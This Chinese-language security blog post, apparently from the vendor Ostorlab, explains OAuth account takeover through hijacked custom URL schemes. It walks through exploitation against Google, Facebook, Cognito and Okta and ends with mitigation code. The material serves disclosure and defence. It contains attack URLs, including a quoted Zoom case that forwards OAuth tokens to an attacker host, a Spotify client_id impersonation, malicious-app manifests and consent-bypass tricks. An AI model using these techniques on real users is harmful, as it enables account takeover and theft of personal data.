我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

通过 Scheme 劫持实现 OAuth 账户接管

恶意应用如何劫持自定义 URL Scheme 来接管 OAuth 账户,包括针对 Google、Facebook、Cognito 和 Okta 的漏洞利用,以及 Android 和 iOS 上的修复方法。

引言

OAuth 已成为确保应用与服务之间安全、无缝地交换用户数据的关键支柱。随着互联生态系统的兴起和用户对友好体验的需求不断增长,OAuth 已无处不在,支撑着我们与社交媒体平台、云服务以及无数应用之间的交互。然而,OAuth 的广泛使用也使其成为恶意行为者寻找可利用漏洞的诱人目标,因此确保这一协议的安全变得至关重要。在此背景下,通过冒充应用实现 OAuth 账户接管这一隐蔽威胁,已成为用户和 OAuth 提供商面临的重大安全问题。

本文将深入剖析这一漏洞模式的复杂原理,揭示恶意行为者如何以错综复杂的方式入侵用户账户、冒充合法的移动应用并滥用 OAuth 协议。通过利用自定义 URL Scheme 劫持,攻击者可以操纵 OAuth 身份验证流程,诱骗用户授予对其账户和个人信息的未授权访问。此类入侵的后果可能影响深远,包括数据泄露、经济损失,以及用户和应用提供商的声誉受损。

为此,本文旨在帮助读者全面了解这一不断演变的威胁,介绍最新的攻击技术和真实案例,最重要的是,提供关于如何识别和缓解这些风险的指导。

OAuth 是如何工作的?

OAuth(Open Authorization 的缩写)是一种常用的授权框架,它使 Web、移动和桌面应用能够在用户无需交出登录凭据的情况下,向 OAuth 提供商请求对用户账户的有限访问权限,同时允许用户随时撤销对其账户的访问权限。一个很好的例子是使用 Google 账户登录某个应用,而无需从头输入用户凭据和个人信息。

OAuth 在设计上是一个非常灵活的标准。虽然它有一些在所有不同实现中都存在的组件,但许多其他 OAuth 组件可以根据开发者的需求进行定制。然而,这种灵活性也为各种潜在漏洞打开了大门:这些漏洞一方面可能源于不良实践和安全配置错误,另一方面则源于使用重定向在 OAuth 各组件之间传递敏感数据。

OAuth 有两个主要版本:OAuth 1.0 和 OAuth 2.0(也称为 OAuth2)。此外还有一些有助于让 OAuth 实现更加健壮的扩展,例如 OpenID Connect,它是构建在 OAuth 2.0 之上的身份验证层,提供身份核验和用户身份验证;还有 OAuth 2.0 PKCE(Proof Key for Code Exchange),这是一种面向公共客户端的安全扩展,用于防范授权码拦截和重放。OAuth 1.0 已被弃用。

本文中所说的 OAuth 均指 OAuth 2.0,因为它是行业标准。

OAuth 的步骤会因所给定的 OAuth 参数而有所不同,大体而言,OAuth 的工作方式如下:

  • 客户端应用请求访问用户数据的一个子集,包括对这些数据的访问类型(由 scope 决定),并指定授权类型(response_type)。
  • 系统提示用户登录 OAuth 授权服务器,并同意所请求的权限范围。
  • 客户端应用从授权服务器收到一个唯一的一次性授权码,称为 code。
  • 客户端应用用这个 code 换取 access token。
  • 客户端应用使用收到的访问令牌调用资源服务器的 API,请求用户已同意授权的数据。

下面是来自 Auth0 的一个 OAuth 实现示例,其中 Auth0 Tenant 充当授权服务器,而 Your API 是资源服务器。

图 1:Auth0 的 OAuth 实现(来源:Auth0)
Auth0 的 OAuth 实现

OAuth 授权框架的主要组成部分如下:

OAuth 角色

在典型的 OAuth 实现中,有四个实体,也称为角色:

  • 客户端应用: 代表资源所有者向资源服务器请求访问受保护资源的应用。

  • 资源所有者: 其数据被客户端应用请求的用户。

  • 资源服务器: 托管受保护资源的服务器,是用户数据的来源。

  • 授权服务器: 对资源所有者进行身份验证,并在获得适当授权和同意后签发访问令牌的服务器,充当身份提供商。

在许多 OAuth 实现中,资源服务器和授权服务器可以属于同一实体,由一台服务器同时处理身份验证并提供对用户数据的访问,这被称为 OAuth 服务提供商。

OAuth 授权类型

OAuth 定义了多种授权类型(也称为授权流程或授权方式),以适应不同的使用场景。每种授权类型都是针对特定的安全和应用需求而设计的。以下是一些最常见的 OAuth 授权类型:

  • 授权码授权(Authorization Code Grant):这是 Web 和移动应用中最常用的 OAuth 授权类型。它包含两个步骤:客户端首先从授权服务器获取授权码,然后用该授权码换取访问令牌。它可以与 Proof Key for Code Exchange(PKCE)配合使用,以防止授权码被拦截和重放。

  • 隐式授权(Implicit Grant):这种授权类型专为单页应用(SPA)设计。它直接向客户端签发访问令牌,没有中间的授权码。虽然它更容易实现,但可能存在一些安全隐患,因此不适用于有高安全要求的敏感应用。

  • 资源所有者密码凭据授权(Resource Owner Password Credentials Grant):这种授权类型允许客户端通过向授权服务器提供最终用户的凭据,直接获取访问令牌。它通常用于客户端高度可信的场景。

  • 客户端凭据授权(Client Credentials Grant):在这种授权类型中,客户端(通常是服务器端应用)使用自身的凭据(客户端 ID 和密钥)直接向授权服务器进行身份验证,然后根据其身份获得访问令牌。这种授权类型不涉及用户。

  • 刷新令牌授权(Refresh Token Grant):这种授权类型使用与初始访问令牌一同签发的刷新令牌来获取新的访问令牌。它适用于无需用户重新进行身份验证的长期会话。在某些 OAuth 实现中,它被称为 access_type,取值可以是 online 或 offline。

  • 设备码授权(Device Code Grant):专为输入能力有限的设备(例如物联网设备或智能电视)设计,这种授权类型会提供一个代码,用户可以在另一台设备上输入该代码以完成授权过程。

  • JWT Bearer 令牌授权(JWT Bearer Token Grant):在这种授权类型中,使用 JSON Web Token(JWT)来请求访问令牌。JWT 经过签名,通常包含客户端可以出示给授权服务器以获取令牌的声明(claims)。

  • SAML 2.0 Bearer 断言授权(SAML 2.0 Bearer Assertion Grant):用于将 SAML 断言换取 OAuth 访问令牌,通常用于单点登录(SSO)系统中。

OAuth 权限范围

对于任何 OAuth 授权类型,客户端应用都必须指定它需要访问的数据以及允许对这些数据执行的操作。它通过授权请求中的 scope 参数来实现这一点。

OAuth 权限范围可以针对每种实现进行定制,不必遵循标准格式,一个应用可以同时请求多个权限范围。以下是一些可能的权限范围示例:

  • email
  • profile
  • contacts.read
  • logging.write
  • https://www.googleapis.com/auth/youtube
  • https://www.googleapis.com/auth/yt-analytics-monetary.readonly

用于身份验证时,通常会在 OAuth 之上使用 OpenID Connect(OIDC)身份层,其中最常用的权限范围之一是 openid profile:openid 是必需的,用于表明正在使用 OIDC,而 profile 是一组预定义的用户基本信息,例如名字、姓氏、出生日期、电子邮件等。

可能会出什么问题?

不安全的 OAuth 实现可能带来许多安全配置错误,主要包括:

缺少 state 参数导致 CSRF

state 是在客户端应用和授权服务器之间来回传递的参数,可以根据开发者的需求进行定制,通常用于防护 CSRF。如果没有强制使用 state 参数,攻击者就可以迫使目标用户登录到某个特定账户。

OAuth 隐式流程中的令牌暴露

OAuth 隐式授权的主要问题之一,是它会把访问令牌放在 URL 的片段部分,例如 https://auth.myapp.com/#access_token.

这使得任何正在运行的 JavaScript 代码(包括第三方代码)都能访问该令牌。如果网站没有使用 HTTPS,还会带来额外的风险,令牌可能通过中间人攻击泄露。为避免这种情况,OAuth 授权码授权增加了一个中间步骤:它不直接请求令牌,而是请求一个一次性授权码,该授权码在换取访问令牌后会自动失效。这一交换使用客户端应用的 client_secret 完成,而该密钥通常不会暴露给用户(也有例外,例如在移动端实现中)。

权限范围校验存在缺陷或缺失

在 OAuth 流程中,客户端应用会指定一个 scope 参数,该参数决定了它向授权服务器请求的用户数据(openid、profile、email……)以及访问类型(read、write、readonly),随后授权服务器会请求用户同意授予该访问权限。

应用最初可能只请求非常有限的权限范围,例如 profile,在获得用户同意后,它可能通过修改 scope 来请求更多的用户数据。如果授权服务器没有将新请求的权限范围与最初请求的权限范围进行比对校验,就会允许客户端应用绕过用户同意,请求超出用户最初同意范围的数据。

通过宽松的 redirect uri 校验泄露 OAuth 授权凭证

OAuth 流程的关键缺陷之一,是使用浏览器内重定向在不同 OAuth 组件之间传递机密数据,尤其是 OAuth 授权凭证,客户端应用正是凭借它向授权服务器请求用户数据。

依赖重定向意味着 OAuth 的 redirect_uri 参数必须经过严格校验。任何宽松的校验都会让恶意行为者泄露目标用户的 OAuth 授权凭证,进而接管其在客户端应用上的账户,同时获得对其在资源服务器上数据的有限访问权限(取决于权限范围)。

以下是一些可能导致 OAuth 授权凭证泄露的宽松 redirect_uri 校验示例:

  • 没有 redirect_uri 校验:这是最糟糕的情况,重定向 URI 不经任何校验就被原样接受,这意味着攻击者可以使用任意域名并诱骗用户登录,一旦用户登录,其 OAuth 授权凭证就会泄露。
  • redirect_uri 前缀匹配:有些应用并不严格匹配重定向 URI,而只确保它以特定域名开头,例如检查 redirect_uri 的开头是否为 https://www.domain.com, 而攻击者可以使用 https://www.domain.com.malicious.com 这样的地址,它仍会被视为有效,尽管本不应如此。
  • redirect_uri 通配符匹配:有些实现可能允许任意子域名作为重定向 URI,这意味着如果攻击者设法入侵或劫持了某个子域名,就可以将其用作重定向 URI。
  • redirect_uri 部分匹配:有些实现只校验域名而不校验路径,当在重定向 URI 中发现开放重定向时,这就会造成安全问题,因为攻击者可以利用它通过第二次重定向泄露 OAuth 授权凭证。

通过环回地址泄露 OAuth 授权凭证

一些 OAuth 提供商依赖环回地址在客户端应用(桌面和移动端)与授权服务器之间交换数据,这可能让恶意应用在特定端口上启动自己的本地服务器,以该服务器作为 redirect_uri 触发 OAuth 流程,从而泄露 OAuth 授权凭证。

下面是 Google Cloud SDK 使用 Google OAuth、以 localhost 作为 redirect_uri 让 gcloud cli 完成身份验证的示例:

https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://localhost:8085/&scope=openid&access_type=offline

需要注意的是,尽管上面的 client_id 本是为 gcloud cli 桌面应用准备的,但它仍然可以从移动设备访问,这为攻击者提供了额外的攻击面,而只需将该 OAuth 流程限制为桌面用户代理即可避免。

OAuth 移动应用冒充

OAuth 身份验证流程中的一个关键假设,是 redirect_uri 所指向实体的归属。例如对于 redirect_uri=https://www.clientapp.com/callback/oauth, 我们假设 www.clientapp.com 属于客户端应用,因为是它们将其配置为 redirect_uri,而且只有它们能声明对该域名的所有权。

对于移动应用,OAuth 在移动端的典型实现依赖于自定义 Scheme,例如 redirect_uri=com.target.app://oauth。这里的问题在于,用户设备上的任何应用都可以注册这个 Scheme,并接收本应发给合法应用的 OAuth 授权凭证。

一个应用要注册自定义 URI Scheme,必须在其 manifest 中添加类似下面的 intent filter 来声明它:

<activity android:exported="true" android:name="PACKAGE_NAME.CLASS_NAME">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="oauthredirect" android:scheme="oauthscheme"/>
    </intent-filter>
</activity>

两个应用有可能注册相同的 Scheme,在这种情况下,系统可以通过 host、port、path 和 MIME 类型等其他属性来区分这两个应用;如果两个应用的这些属性都相同,系统会让用户决定使用哪个应用继续操作(图 2)

图 2:Scheme 冲突
Scheme 冲突

intent filter 的 data 元素越不具体,其覆盖范围就越广。例如,如果所接受的 data 只指定了 scheme,那么所有使用该 Scheme 的 URI 都会被相应的 intent filter 接收。

将这些付诸实践,攻击者会按以下场景利用 OAuth:

图 3:Scheme 冲突示意图

以下是对上图的详细说明:

1- 已安装恶意应用,未安装合法应用:

在这种场景下,恶意应用可以声明属于某个合法应用的 OAuth 自定义 Scheme 并触发 OAuth 身份验证流程,一旦用户完成登录并同意授权,恶意应用就会自动收到 OAuth 授权凭证,无需用户进行任何额外操作。

2- 恶意应用和合法应用均已安装:

i - 合法应用的 intent filter data 元素只指定了 Scheme:

在这种场景下,恶意应用可以注册属于合法应用的 OAuth 自定义 Scheme。当合法应用触发 OAuth 流程、用户完成登录并同意授权后,会弹出一个窗口让用户在合法应用和恶意应用之间进行选择,取决于用户的选择,恶意应用可能会、也可能不会收到授权码。

ii - 合法应用的 intent filter data 元素同时指定了 Scheme 和主机名:

  • 当 redirect_uri 主机校验宽松时:在这种场景下,恶意应用可以注册属于合法应用的 OAuth 自定义 Scheme,并在 redirect_uri 中使用修改后的主机名触发 OAuth 身份验证流程,一旦用户完成登录并同意授权,恶意应用就会自动收到 OAuth 授权凭证,无需用户进行任何额外操作。

  • 当 redirect_uri 校验严格时: 在这种场景下,无论是合法应用还是恶意应用触发 OAuth 流程,用户在登录并同意授权后总会看到这两个应用,利用的结果将取决于用户的选择。

iii - Android / iOS Scheme 混淆:

如果目标应用在 Android 和 iOS 上都使用 OAuth,但使用的 Scheme 不同,攻击者可以在 Android 目标设备上注册原本供该应用 iOS 版本使用的自定义 Scheme 并触发 OAuth 流程,这将使恶意应用绕过与合法应用之间的 Scheme 冲突。

在下面的示例中,同一个应用分别在 Android 和 iOS 上使用了两个不同的 Scheme:com.googleusercontent.apps.616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1 和 com.googleusercontent.apps.340331662088-a8asqpqohdks6umfpk9p0h1oc2e885v1。

图 4:Android Scheme
Android Scheme

图 5:iOS Scheme
iOS Scheme

借助 intent URI 绕过实现 OAuth 移动应用冒充(仅限 Chrome)

这是另一种攻击向量:攻击者设法将受害者重定向到一个基于 intent 的 URI,然后通过该 intent 迫使用户再次重定向到恶意 Web 主机,从而在不借助任何恶意应用的情况下泄露 OAuth 授权凭证。这种攻击仅对支持 intent URI 的 Chrome 有效。

一个例子是 Zoom 上报告的 OAuth 账户接管,攻击过程如下:

攻击者可以诱骗用户访问以下 URL 来实施攻击:

https://accounts.google.com/o/oauth2/v2/auth?response_type=code&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2Foauth&state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth?#Intent;scheme=https://evil.website/;end;

随后受害者会进入:

https://zoom.us/google/oauth?state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth%3F&code=SECRET&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&authuser=0&prompt=none#Intent;scheme=https://evil.website/;end;

接着进入:

intent://zoom.us/google/oauth?&token=ENCRYPTED_TOKEN#Intent;scheme=https://evil.website/;end;

最终到达:

https://evil.website/zoom.us/google/oauth?&token=ENCRYPTED_TOKEN

OAuth 移动应用冒充:漏洞利用

下面的列表展示了针对一些最常见 OAuth 提供商的实际漏洞利用。请注意,此列表并不详尽,我们还在一些大型客户那里发现了其他存在漏洞的提供商,包括地区性医疗服务提供商、政府身份提供商等。

Google OAuth

在分析过程中,我们发现多个使用 Google OAuth 的应用采用了自定义 Scheme 实现,Google 自定义 Scheme 通常遵循以下格式:com.googleusercontent.apps.[APPLICATION_ID]

使用自定义 Scheme 的移动端 Google OAuth 授权请求 URL 通常如下所示,其中 [APPLICATION_ID] 是应用 ID 的占位符(例如 616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1):

https://accounts.google.com/o/oauth2/v2/auth?client_id=[APPLICATION_ID].apps.googleusercontent.com&redirect_uri=com.googleusercontent.apps.[APPLICATION_ID]://oauthredirect&scope=email+profile&response_type=code

身份验证成功并获得同意后,上述 URL 会重定向到 com.googleusercontent.apps.[APPLICATION_ID]://oauthredirect,并以 URL 参数的形式携带 OAuth 授权凭证和其他 OAuth 参数,客户端应用一侧通过下面的 intent filter 接收它们:

 <activity android:exported="true" android:name="net.openid.appauth.RedirectUriReceiverActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="oauthredirect" android:scheme="com.googleusercontent.apps.[APPLICATION_ID]"/>
    </intent-filter>
</activity>

在漏洞利用过程中,我们确实遇到了一些挑战,主要包括:

  • 与合法应用在已注册的自定义 Scheme 上发生冲突

解决这一问题的方法之一,是使用上文介绍的 Android / iOS Scheme 混淆。

  • 需要用户交互才能完成同意授权

在 Google Web OAuth 流程中,如果用户此前已经同意过授权,可以通过设置 OAuth 参数 prompt=none 绕过用户同意提示界面。然而,这一行为并不适用于移动端(仅适用于 Web)。我们发现的一种可以绕过同意提示、实现无缝流程的技术,是添加 OAuth 参数 login_hint 并将其值设为目标用户的电子邮件地址。这需要事先知道用户的电子邮件地址,虽然有一些技术可以做到这一点,但本文不作介绍。

Facebook OAuth

Facebook 使用标准的自定义 Scheme fbconnect。为避免 Scheme 冲突,应用需要在 intent filter 的 data 元素中额外指定 host 属性。

移动端 Facebook OAuth 授权请求 URL 通常如下所示,其中 [APPLICATION_ID] 是应用 ID 的占位符(例如 com.spotify.music):

https://m.facebook.com/v15.0/dialog/oauth?client_id=[CLIENT_ID]&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.[APPLICATION_ID]&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true

与上面的 Google OAuth 流程类似,身份验证成功并获得同意后,用户会被重定向到 fbconnect://cct.[APPLICATION_ID],并以 URL 参数的形式携带 OAuth 授权凭证和其他 OAuth 参数,客户端应用一侧的 intent filter 如下所示:

<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="fbconnect" android:host="cct.[APPLICATION_ID]"/>
    </intent-filter>
</activity>

尽管应用应当在自定义 Scheme 之外同时指定 host,但后端并不会校验 host,这使得攻击者可以通过使用不同的 host 触发 OAuth 流程,绕过与合法应用之间的 Scheme 冲突。示例如下:

合法的 Spotify 应用使用 fbconnect 作为 Scheme、cct.com.spotify.music 作为 host,其授权请求 URL 如下所示:https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.spotify.music&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true

合法 Spotify 应用的 intent filter 如下所示:

<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="fbconnect" android:host="cct.com.spotify.music"/>
    </intent-filter>
</activity>

恶意应用可以触发相同的 OAuth 流程,但使用不同的 host。由于 Facebook OAuth 后端会接受任何以 cct. 开头的 host,我们将使用一个合法 Spotify 应用不会预期的 host,例如 cct.com.fakespotify.malware,此类授权请求 URL 的示例如下:https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.fakespotify.malware&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true

恶意 Spotify 应用的 intent filter 如下所示:

<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="fbconnect" android:host="cct.com.fakespotify.malware"/>
    </intent-filter>
</activity>

恶意应用仍会收到本应发给合法应用的同一个 OAuth 授权凭证,因为标识哪个应用在向授权服务器请求数据的是 client_id 参数,因此使用与 Spotify 相同的 client_id 174829003346 就意味着我们成功冒充了它。

Amazon Cognito OAuth

Amazon Cognito 是 Amazon Web Services(AWS)提供的一项服务,为 Web 和移动应用提供身份和用户管理。它旨在让开发者更轻松地为应用添加身份验证、授权和用户管理功能。Amazon Cognito 允许通过外部身份提供商对用户进行身份验证,并提供临时安全凭据,用于访问应用在 AWS 中的后端资源或 Amazon API Gateway 后面的任何服务。Amazon Cognito 可与支持 SAML 或 OpenID Connect 的外部身份提供商、社交身份提供商(例如 Facebook、Twitter、Amazon)配合使用,也可以集成自定义身份提供商。

我们关注的是 OpenID Connect 部分,因为它构建在 OAuth 2.0 之上,并在移动端 OAuth 身份验证中使用自定义 Scheme。Amazon Cognito 的移动端 OAuth URL 如下所示:

https://[AMAZON_COGNITO_ENDPOINT]/login?response_type=code&client_id=[CLIENT_ID]&redirect_uri=[CUSTOM_SCHEME]://sign-in&scope=openid

在客户端应用一侧,有以下 intent filter:

<activity android:name="com.amplifyframework.auth.cognito.activities.HostedUIRedirectActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="[CUSTOM_SCHEME]"/>
        <data android:host="sign-in"/>
        <data android:host="sign-out"/>
    </intent-filter>
</activity>
  • 绕过用户交互

可以通过使用另一个端点 /oauth2/authorize 来绕过用户交互,示例 URL 如下:

https://[AMAZON_COGNITO_ENDPOINT]/oauth2/authorize?redirect_uri=[CUSTOM_SCHEME]://sign-in&response_type=TOKEN&client_id=[CLIENT_ID]&scope=openid

Okta OAuth

Okta 是一个基于云的身份与访问管理(IAM)平台,为应用、设备和用户提供安全的身份验证和授权。它使组织能够管理和控制对其本地和云端各类资源的访问。

Okta 的主要产品是单点登录,它允许用户使用一套登录凭据访问多个应用和服务。Okta SSO 提供多种集成方式,最常见的是 SAML 和 OpenID Connect。

与上述身份提供商类似,Okta 在其移动端 OAuth 实现中使用自定义 Scheme。这里没有标准的 Scheme,应用可以自行设计自定义 Scheme,例如 com.myorg.myapp.dev,其授权请求 URL 如下所示:

https://[OKTA_IDP_ENDPOINT]/oauth2/[IDENTIFIER]/v1/authorize?scope=[SCOPE]&response_type=code&redirect_uri=com.myorg.myapp.dev://login&client_id=[CLIENT_ID]

在客户端应用一侧,通过以下 intent filter 接收 OAuth 授权凭证:

<activity
    android:name="com.okta.oidc.OktaRedirectActivity"
    android:exported="true"
    android:launchMode="singleInstance"
    android:autoRemoveFromRecents="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="com.myorg.myapp.dev" />
    </intent-filter>
</activity>
  • 绕过用户交互

与 Google OAuth 类似,Okta 也有一个 OAuth 参数 login_hint,当传入目标用户的电子邮件地址时,恶意应用便可以绕过用户交互(同意授权),实现无缝流程。

被发现存在漏洞的热门应用

一个下载量超过 3.5 billion 次的大型社交媒体网络被发现受这一漏洞模式影响。我们开发了一个概念验证漏洞利用代码,使用上文介绍的 Android / iOS Scheme 混淆技术绕过了与合法应用之间的 Scheme 冲突,并通过将 login_hint 参数设为目标用户的电子邮件地址绕过了用户交互。

为了开发出一个可以绕过用户交互的有效概念验证,我们必须经过多个步骤,每一步都有各自的挑战。

当合法应用安装在设备上时,Android 应用用于 Google OAuth 的自定义 Scheme 已经被注册,若恶意应用尝试注册相同的 Scheme,就会产生冲突,用户必须在两个应用(合法应用和恶意应用)之间进行选择。为克服这一挑战,我们使用了 iOS 的 Scheme,而不是 Android 目标的 Scheme,这使我们得以绕过该冲突,从而绕过了用户交互的第一部分。

我们遇到的另一个挑战是,完成 OAuth 身份验证仍然需要用户交互。我们设法绕过这一点的一种方法,是泄露用户的电子邮件地址并将其传入 login_hint OAuth 参数,这样漏洞利用就不再依赖用户交互。

泄露的 OAuth 授权凭证如下所示,借助该授权凭证,我们可以访问目标用户的账户,并根据所请求的权限范围获得对其 Google 账户的有限访问权限:

图 6:社交网络泄露的 OAuth 授权凭证
社交网络泄露的 OAuth 授权凭证

我们已向该社交网络报告了此漏洞,对方已予以确认。

我们还发现许多其他热门应用受这一模式影响,其中包括下载量超过 100M+ 的应用。

建议

在 OAuth 场景中,传统上一直使用自定义 Scheme,但现在已有更安全、更可靠的选择,主要包括:

Android 可验证 App Links 和 iOS 关联域分别是 Android 和 iOS 操作系统实现的机制,用于增强移动应用的安全性和用户体验。Android 可验证 App Links 确保当用户点击与某个 Android 应用关联的 Web 链接时,系统会验证其真实性,从而降低遭受钓鱼或恶意攻击的可能。而 iOS 关联域则使 iOS 应用能够与特定的 Web 域名建立可信连接,从而实现应用与 Web 内容之间的无缝集成,例如单点登录和通用链接。这两项技术都有助于增强移动应用交互的可信度并简化用户操作,为打造更安全、更便捷的移动生态系统作出贡献。

Android

您需要在后端托管 /.well-known/assetlinks.json,格式如下:

[
  {
    "relation": [
      "delegate_permission/common.handle_all_urls",
      "delegate_permission/common.get_login_creds"
    ],
    "target": {
      "namespace": "android_app",
      "package_name": "com.myapplication.android",
      "sha256_cert_fingerprints": [
        "APPLICATION_CERT_FINGERPRINT"
      ]
    }
  }
]

AndroidManifest.xml

    <intent-filter android:autoVerify="true">
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />

    <!-- If a user clicks on a shared link that uses the "http" scheme, your
         app should be able to delegate that traffic to "https". -->
    <data android:scheme="http" />
    <data android:scheme="https" />

    <!-- Include one or more domains that should be verified. -->
    <data android:host="auth.myapp.com" />
</intent-filter>

Kotlin

Log.i(TAG, "Creating auth request for login hint: $loginHint")
val authRequestBuilder: AuthorizationRequest.Builder = Builder(
    mAuthStateManager.getCurrent().getAuthorizationServiceConfiguration(),
    mClientId.get(),
    ResponseTypeValues.CODE,
    "https://auth.myapp.com/oauth/handler" // The redirect URI with an https scheme
)
    .setScope(mConfiguration.getScope())
if (!TextUtils.isEmpty(loginHint)) {
    authRequestBuilder.setLoginHint(loginHint)
}
mAuthRequest.set(authRequestBuilder.build())

iOS

对于 iOS,您需要在后端托管 /.well-known/apple-app-site-association,格式如下:

{
    "applinks": {
        "details": [{
            "appID": "ABCDE12345.com.myapplication.ios",
            "paths": ["/oauth/redirect/*"]
        }]
    },
    "appclips":{
        "apps":[
            "ABCDE12345.com.myapplication.ios"
        ]
    },
    "webcredentials":{
        "apps":[
            "ABCDE12345.com.myapplication.ios"
        ]
    }
}

release.entitlements

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    ...
    <key>com.apple.developer.associated-domains</key>
    <array>
        <string>applinks:auth.myapp.com</string>
    </array>
    ...
</dict>
</plist>

Swift

func doAuthWithAutoCodeExchange(configuration: OIDServiceConfiguration, clientID: String, clientSecret: String?) {

    guard let appDelegate = UIApplication.shared.delegate as? AppDelegate else {
        self.logMessage("Error accessing AppDelegate")
        return
    }

    // builds authentication request
    let request = OIDAuthorizationRequest(configuration: configuration,
                                          clientId: clientID,
                                          clientSecret: clientSecret,
                                          scopes: [OIDScopeOpenID, OIDScopeProfile],
                                          redirectURL: "https://auth.myapp.com/oauth/handler",
                                          responseType: OIDResponseTypeCode,
                                          additionalParameters: nil)

    // performs authentication request
    logMessage("Initiating authorization request with scope: \(request.scope ?? "DEFAULT_SCOPE")")

    appDelegate.currentAuthorizationFlow = OIDAuthState.authState(byPresenting: request, presenting: self) { authState, error in

        if let authState = authState {
            self.setAuthState(authState)
            self.logMessage("Got authorization tokens. Access token: \(authState.lastTokenResponse?.accessToken ?? "DEFAULT_TOKEN")")
        } else {
            self.logMessage("Authorization error: \(error?.localizedDescription ?? "DEFAULT_ERROR")")
            self.setAuthState(nil)
        }
    }
}

Flutter

Gradle

// android/build.gradle

android {
    // ...
    defaultConfig {
        // ...
        // Add the following line
        manifestPlaceholders = [auth0Domain: "auth.myapp.com", auth0Scheme: "https"]
    }
    // ...
}

Dart

final authorizationEndpoint =
    Uri.parse('http://example.com/oauth2/authorization');
final tokenEndpoint = Uri.parse('http://example.com/oauth2/token');

final identifier = 'my client identifier';
final secret = 'my client secret';

// Redirect URI with custom scheme
final redirectUrl = Uri.parse('https://auth.myapp.com/oauth/handler');

final credentialsFile = File('~/.myapp/credentials.json');

Future<oauth2.Client> createClient() async {
  var exists = await credentialsFile.exists();

  if (exists) {
    var credentials =
        oauth2.Credentials.fromJson(await credentialsFile.readAsString());
    return oauth2.Client(credentials, identifier: identifier, secret: secret);
  }

  var grant = oauth2.AuthorizationCodeGrant(
      identifier, authorizationEndpoint, tokenEndpoint,
      secret: secret);

  var authorizationUrl = grant.getAuthorizationUrl(redirectUrl);

  await redirect(authorizationUrl);
  var responseUrl = await listen(redirectUrl);

  return await grant.handleAuthorizationResponse(responseUrl.queryParameters);
}

结论

总之,利用自定义 Scheme 冒充移动应用实现 OAuth 账户接管的威胁,是用户和 OAuth 提供商都必须正视的紧迫问题。

Google 已经开始采取行动,默认对 Android 客户端禁用自定义 URI Scheme 重定向方式:

我们 Ostorlab 也已采取行动,开发了检测规则来自动检测这一漏洞模式,并已向所有安装量超过 100M 的主要应用报告了该问题。我们还将该检测纳入了 Ostorlab Community Scanner。

Ostorlab OAuth 检测
Ostorlab OAuth 检测

标签:

security